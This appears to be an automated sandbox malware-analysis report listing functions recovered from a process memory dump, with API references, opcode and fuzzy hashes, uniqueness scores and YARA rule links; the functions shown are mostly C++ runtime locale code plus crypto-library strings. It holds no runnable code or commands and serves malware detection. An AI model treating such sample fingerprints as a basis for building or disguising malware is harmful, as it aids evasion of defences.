Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrowmessages
String ID:
API String ID: 2504174780-0
Opcode ID: d6d5b580f82e65e8960c00f550536b7636ac6c2ed519425785f38710fe035b93
Instruction ID: 175ec18a0cf9a81578bfe3308d0135446067cb33a2c004ba5190f2a4988ee99e
Opcode Fuzzy Hash: d6d5b580f82e65e8960c00f550536b7636ac6c2ed519425785f38710fe035b93
Instruction Fuzzy Hash: C311CE759042599BCF05EBA4C816AFEB7B1AF94310F24410AF905773D2DB749E05CBB1

Uniqueness

Uniqueness Score: 37.75%

Function 000DC6F2, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC6F9
std::_Lockit::_Lockit.LIBCPMT ref: 000DC703
int.LIBCPMT ref: 000DC71A

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

moneypunct.LIBCPMT ref: 000DC73D

Part of subcall function 000DE11B: __EH_prolog3.LIBCMT ref: 000DE122
Part of subcall function 000DE11B: _Mpunct.LIBCPMT ref: 000DE178

std::_Facet_Register.LIBCPMT ref: 000DC754
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC774
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC792

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_MpunctRaiseRegisterThrowmoneypunct
String ID:
API String ID: 4133591008-0
Opcode ID: aa2728dfdc7e363b9118c4339a23a1ae40a0f963a3c3679b38331cf53ea86c9f
Instruction ID: 61c74424e0bc4a1630803e2b004c8934c169dae912e69aa35b3f7aa8520b1d07
Opcode Fuzzy Hash: aa2728dfdc7e363b9118c4339a23a1ae40a0f963a3c3679b38331cf53ea86c9f
Instruction Fuzzy Hash: 3E11CE799042199BCF05EBA4C856AEEB7B1AF94310F24010AF9057B3D2DB749E09CBA0

Uniqueness

Uniqueness Score: 100.00%

Function 000DC798, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC79F
std::_Lockit::_Lockit.LIBCPMT ref: 000DC7A9
int.LIBCPMT ref: 000DC7C0

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

moneypunct.LIBCPMT ref: 000DC7E3

Part of subcall function 000DE19F: __EH_prolog3.LIBCMT ref: 000DE1A6
Part of subcall function 000DE19F: _Mpunct.LIBCPMT ref: 000DE1FD

std::_Facet_Register.LIBCPMT ref: 000DC7FA
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC81A
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC838

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_MpunctRaiseRegisterThrowmoneypunct
String ID:
API String ID: 4133591008-0
Opcode ID: 7c467de6a98c111cccad8c4edb32807f89748b1a6d5692ca7070c38090567af2
Instruction ID: 5f347fddd2407607fca6efb9bdd7f0b55d9739268c3b95cfde0219af85fcd0d7
Opcode Fuzzy Hash: 7c467de6a98c111cccad8c4edb32807f89748b1a6d5692ca7070c38090567af2
Instruction Fuzzy Hash: 3111AC759042199BCF05EBA4CC46AEEB7B1AF94310F24410AF915BB392DF749E05CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000DC83E, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC845
std::_Lockit::_Lockit.LIBCPMT ref: 000DC84F
int.LIBCPMT ref: 000DC866

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

moneypunct.LIBCPMT ref: 000DC889

Part of subcall function 000DE224: __EH_prolog3.LIBCMT ref: 000DE22B

std::_Facet_Register.LIBCPMT ref: 000DC8A0
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC8C0
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC8DE

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrowmoneypunct
String ID:
API String ID: 3226316739-0
Opcode ID: 52849d076f886f21b42e5dbda5f130c5fe300c30fb7a5ecc109087b05805cc01
Instruction ID: a75e02ed9dbae7cc1d772d2635854cca7ec83747feef0c2a19bf45a6792c28b1
Opcode Fuzzy Hash: 52849d076f886f21b42e5dbda5f130c5fe300c30fb7a5ecc109087b05805cc01
Instruction Fuzzy Hash: 4F11AC769042199BCB05EBA4C846EEEB7B5AF94310F14014BF9056B392DF74AE05CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000940E0, Relevance: 9.1, APIs: 6, Instructions: 149UNIQUE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0009415A
std::_Lockit::_Lockit.LIBCPMT ref: 0009417C
std::_Lockit::~_Lockit.LIBCPMT ref: 0009419C

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 0009423E

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 00094278
std::_Lockit::~_Lockit.LIBCPMT ref: 0009429F

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Locinfo::_$Exception@8GetcvtLocinfo_ctorThrowstd::locale::_$AddfacFacet_InitLocimp::_Locimp_Locinfo_dtorRegister__onexit
String ID:
API String ID: 2129595408-0
Opcode ID: a362cdc9208a76196383da8e81dae94ce1df27e0e1aeffbde4cbaf33cb53392e
Instruction ID: bf5117fb311d2e698519494bc57820de4bf7c2ca783c6ba4d175a9f446166485
Opcode Fuzzy Hash: a362cdc9208a76196383da8e81dae94ce1df27e0e1aeffbde4cbaf33cb53392e
Instruction Fuzzy Hash: DE51B4B1D04304DFCB10DF58D841AAEB7F4FF54310F544259E859A7392EB31AA85DB91

Uniqueness

Uniqueness Score: 100.00%

Function 00070620, Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0007064D
std::_Lockit::_Lockit.LIBCPMT ref: 00070670
std::_Lockit::~_Lockit.LIBCPMT ref: 00070690

Part of subcall function 000724D0: __Getcoll.LIBCPMT ref: 0007266C

std::_Facet_Register.LIBCPMT ref: 000706F5
std::_Lockit::~_Lockit.LIBCPMT ref: 00070716
__CxxThrowException@8.LIBVCRUNTIME ref: 00070740

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionException@8Facet_GetcollRaiseRegisterThrow
String ID:
API String ID: 1560489502-0
Opcode ID: e14a4a4d2a9b046943f9e19d2df750333c3b539f00cdc852cfd22c9a114e75e3
Instruction ID: 63cef4c8a1afebf73fc3540f34502650c1faec98dde98a3d40cf07733b47cad1
Opcode Fuzzy Hash: e14a4a4d2a9b046943f9e19d2df750333c3b539f00cdc852cfd22c9a114e75e3
Instruction Fuzzy Hash: FC31CE71D04208DBCB20DF44D891AAEB7F4EF84720F14826AE80DA7392D734AD81CBA1

Uniqueness

Uniqueness Score: 16.53%

Function 000641A0, Relevance: 9.1, APIs: 6, Instructions: 94sleepthreadlibraryUNIQUE

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000641DA
Sleep.KERNEL32(00000001), ref: 000641E9
SwitchToThread.KERNEL32 ref: 00064244
Sleep.KERNEL32(00000001), ref: 00064253
GetModuleHandleA.KERNEL32 ref: 00064276
GetProcAddress.KERNEL32(?), ref: 0006429A

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: SleepSwitchThread$AddressHandleModuleProc
String ID:
API String ID: 1866616949-0
Opcode ID: 72b0ab9d6185ad3e7f8fb337a8441235f3b6489dc1e9898bbf9b8defcf898e44
Instruction ID: 59720e638a61a9ca1c6eb9fdd63cabc7406df9ccc566df4a6f58e99eb2523179
Opcode Fuzzy Hash: 72b0ab9d6185ad3e7f8fb337a8441235f3b6489dc1e9898bbf9b8defcf898e44
Instruction Fuzzy Hash: 8731E23C600206DFC704DF94FCA86AA77B6EFC6316FA40069EA0A83A50D77259D0CA91

Uniqueness

Uniqueness Score: 100.00%

Function 000DC45A, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC461
std::_Lockit::_Lockit.LIBCPMT ref: 000DC46B
int.LIBCPMT ref: 000DC482

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

Part of subcall function 000DDF7B: __EH_prolog3.LIBCMT ref: 000DDF82

std::_Facet_Register.LIBCPMT ref: 000DC4BC
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC4DC
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC4FA

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrow
String ID:
API String ID: 280458413-0
Opcode ID: 6ddd3d989de31d66089897e8a9793618e2ce99434e19a16568c50803ca38d4f2
Instruction ID: d734cd2ccb70930d6bc783c18d4a0bc57a783475f44f7fea8ed328a6c5464ffe
Opcode Fuzzy Hash: 6ddd3d989de31d66089897e8a9793618e2ce99434e19a16568c50803ca38d4f2
Instruction Fuzzy Hash: 7A1102758002199BCF04EBA0C856AFE77B1AF94720F14010AF901B73D2DF34AE05CBA0

Uniqueness

Uniqueness Score: 6.12%

Function 000DC500, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC507
std::_Lockit::_Lockit.LIBCPMT ref: 000DC511
int.LIBCPMT ref: 000DC528

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

Part of subcall function 000DDFE3: __EH_prolog3.LIBCMT ref: 000DDFEA

std::_Facet_Register.LIBCPMT ref: 000DC562
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC582
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC5A0

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrow
String ID:
API String ID: 280458413-0
Opcode ID: 3041bcd1be833e9ec489f9db8962f0bafa53c168946582b2a95199c16abaefd8
Instruction ID: 167fce532e61d1117f5e564046482ea03d4a97a8d749e6ff1e638a02deafbbed
Opcode Fuzzy Hash: 3041bcd1be833e9ec489f9db8962f0bafa53c168946582b2a95199c16abaefd8
Instruction Fuzzy Hash: A2110E758042199BCF04EBA4C806AEEB7B1AF94310F14020AF805773D2DB34AE85CBE1

Uniqueness

Uniqueness Score: 6.12%

Function 000DC5A6, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC5AD
std::_Lockit::_Lockit.LIBCPMT ref: 000DC5B7
int.LIBCPMT ref: 000DC5CE

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

Part of subcall function 000DE04B: __EH_prolog3.LIBCMT ref: 000DE052

std::_Facet_Register.LIBCPMT ref: 000DC608
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC628
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC646

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrow
String ID:
API String ID: 280458413-0
Opcode ID: 7b88ff96dd9148a4b485976cb7365502b1612287da017e392a1d8144955556c8
Instruction ID: eabafa9e2d363d9227f146f344f8412e32d8bdf948de1041ba5d233e1b2da9bf
Opcode Fuzzy Hash: 7b88ff96dd9148a4b485976cb7365502b1612287da017e392a1d8144955556c8
Instruction Fuzzy Hash: 4B1102718002199BCF04EBA4C806AEEB7B2AF44310F14410AF901B73D2DF74EE05CBA0

Uniqueness

Uniqueness Score: 6.12%

Function 000DC64C, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC653
std::_Lockit::_Lockit.LIBCPMT ref: 000DC65D
int.LIBCPMT ref: 000DC674

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

Part of subcall function 000DE0B3: __EH_prolog3.LIBCMT ref: 000DE0BA

std::_Facet_Register.LIBCPMT ref: 000DC6AE
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC6CE
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC6EC

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrow
String ID:
API String ID: 280458413-0
Opcode ID: c77338fdb009ea49d9c92ece1776e3f9e5cd74903d99770e876fd1bc08b7a1e1
Instruction ID: 30fdd2bea125b0624b52421e2e8904d75f4f25ca92ddab19bb052b19caee8d3b
Opcode Fuzzy Hash: c77338fdb009ea49d9c92ece1776e3f9e5cd74903d99770e876fd1bc08b7a1e1
Instruction Fuzzy Hash: 1111CEB690021A9BCF05EBA4C946AEEB7B5AF94310F14450AF8057B3D2DF74DE05CBA1

Uniqueness

Uniqueness Score: 6.12%

Function 001248AB, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 001248FA

Part of subcall function 001194F0: _free.LIBCMT ref: 00119537

_free.LIBCMT ref: 00124A17

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 00124C55: _free.LIBCMT ref: 00124C61
Part of subcall function 00124C55: _free.LIBCMT ref: 00124C71

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

Part of subcall function 00124A3B: FindFirstFileExA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00124B80

Strings

*?, xrefs: 001248EE
., xrefs: 00124BCE

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$Process$CurrentErrorFeatureFileFindFirstFreeHeapLastPresentProcessorTerminate_strpbrk
String ID: *?$.
API String ID: 911097836-3972193922
Opcode ID: ff2c517e090e31c71a3575aec77d1b8fad06acd6efe45a1db8783b49c198b711
Instruction ID: c14440f90a37f7ea6978526f4c9908b83e80b9c76fd9cc58b02e8ef9c9a725c5
Opcode Fuzzy Hash: ff2c517e090e31c71a3575aec77d1b8fad06acd6efe45a1db8783b49c198b711
Instruction Fuzzy Hash: BB51C171E00229EFDF14CFA8D881AAEBBF5EF58314F244169E855E7341E7319A518B50

Uniqueness

Uniqueness Score: 16.53%

Function 000B00A0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 123UNIQUE

Download Yara Rule

APIs

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B0206

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

byte digest to , xrefs: 000B01AF
bytes, xrefs: 000B01D7
HashTransformation: can't truncate a , xrefs: 000B01A4

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: byte digest to $ bytes$HashTransformation: can't truncate a
API String ID: 654547538-1139078987
Opcode ID: 83ebe880b27085f0cc0dce202834a8dcd1b93b5170b8a72111fd1e9ce9659bc0
Instruction ID: 618527c81b9ce59d22db5f074b96d77798c34f2ce75978ec550fd60dfe55fc8e
Opcode Fuzzy Hash: 83ebe880b27085f0cc0dce202834a8dcd1b93b5170b8a72111fd1e9ce9659bc0
Instruction Fuzzy Hash: FF418F71E00258AFDB10DBA4CC45FEFBBB8EF59314F0045AAF519A7282DB745A048BA1

Uniqueness

Uniqueness Score: 37.75%

Function 00054610, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82windowUNIQUE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00054640
FormatMessageW.KERNEL32(00001200,00000000,?,00000400,?,?,00000000), ref: 0005465D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000,?,?,00000000), ref: 00054679

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

Unknown error (%d), xrefs: 000546C2

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharFeatureFormatMessageMultiPresentProcessorWide___raise_securityfailure__alloca_probe_16
String ID: Unknown error (%d)
API String ID: 1987373553-1458610041
Opcode ID: 29e7072c714b3f5b4b43ef014e3a57eb52189fd2615c623fd4b65cf9af0195d1
Instruction ID: 52c3117e27700f3e75ce45ef5341f4472dcae7749401d87fdb5c1571326e48cc
Opcode Fuzzy Hash: 29e7072c714b3f5b4b43ef014e3a57eb52189fd2615c623fd4b65cf9af0195d1
Instruction Fuzzy Hash: 62210330740245AFEB318A29CC05FEF7BE4EB07B1AF504058FD14DB292D6B1D8988792

Uniqueness

Uniqueness Score: 100.00%

